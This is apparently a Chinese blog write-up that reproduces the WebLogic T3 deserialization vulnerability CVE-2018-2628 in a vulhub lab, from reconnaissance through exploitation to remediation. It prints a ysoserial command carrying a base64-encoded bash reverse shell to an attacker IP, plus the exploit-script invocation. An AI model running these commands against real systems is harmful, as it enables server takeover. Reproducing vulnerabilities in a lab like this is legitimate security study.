Weblogic T3协议反序列化漏洞(CVE-2018-2628)

文章目录

    • 一、漏洞介绍
      • 1.1 漏洞详情
      • 1.2 基本原理
      • 1.3 影响版本
    • 二、环境搭建
    • 三、攻击过程
      • 3.1 信息收集
      • 3.2 漏洞探测
      • 3.3 攻击操作
      • 3.4 流量走向
    • 四、修复方法

Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第1张图片

一、漏洞介绍

1.1 漏洞详情

  开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。

1.2 基本原理

  T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。

T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。

RMI:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)

JRMP:
Java远程消息交换协议JRMP

1.3 影响版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

(当前官网最新版本对比,标红为漏洞影响版本,日期:200610)
Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第2张图片

二、环境搭建

  • 受害者IP:192.168.159.129(vulhub)
  • 攻击者IP:192.168.123.192

》》进入到如下目录下启动Weblogic 10.3.6.0
在这里插入图片描述
》》访问Weblogic web管理控制台
Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第3张图片

三、攻击过程

3.1 信息收集

》》Nmap扫描目标IP端口,查看是否使用weblogic
Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第4张图片
》》使用Nmap的NSE脚本查看对方是否开启T3协议,查看到目标站点开启了T3协议(这里建议使用命令行操作,别问我为什么知道的)

nmap -n -v -p 7001,7002  --script=weblogic-t3-info

Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第5张图片

3.2 漏洞探测

》》使用Weblogic漏洞检测poc探测是否存在该漏洞

  • github地址:https://github.com/rabbitmask/WeblogicScan

》》探测执行(发现存在CVE-2018-2628漏洞)
Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第6张图片

3.3 攻击操作

》》攻击者使用ysoserial启动一个JMRP Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19111 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ==}|{base64,-d}|{bash,-i}"

(JMRP Server在19111端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为19110)
在这里插入图片描述

Tips1:ysoserial命令格式:
ysoserial.jar [payload] “[command]”
在这里插入图片描述

参数 释义
port JRMP Server监听的端口
payload_type 根据目标jdk版本选择CommonsCollections利用库
payload_arg 需要执行的命令

Tips2:
这里使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用

》》nc监听19110端口
在这里插入图片描述
》》使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)

python exp_CVE-2018-2628.py 192.168.159.129 7001 ysoserial.jar 192.168.123.192 19111 JRMPClient

Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第7张图片

Tips:exp_CVE-2018-2628参数说明
在这里插入图片描述

参数 释义
victim ip 受害者IP
victim port 受害者端口,7001
path to ysoserial 本地ysoserial路径
JRMPListener ip 启用ysoserial的IP
JRMPClient 执行JRMPClient的类(JRMPClient / JRMPClient2)

》》成功拿到受害者的shell
Weblogic T3协议反序列化漏洞(CVE-2018-2628)_第8张图片

3.4 流量走向

整个操作过程中的核心攻击过程是:
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上

四、修复方法

  • 打上官方最新补丁
  • 控制T3服务的访问权限(添加白名单仅给指定几台主机使用)

你可能感兴趣的:(#,漏洞复现,weblogic,weblogic漏洞,weblogic反序列化漏洞,反序列化漏洞,t3反序列化漏洞)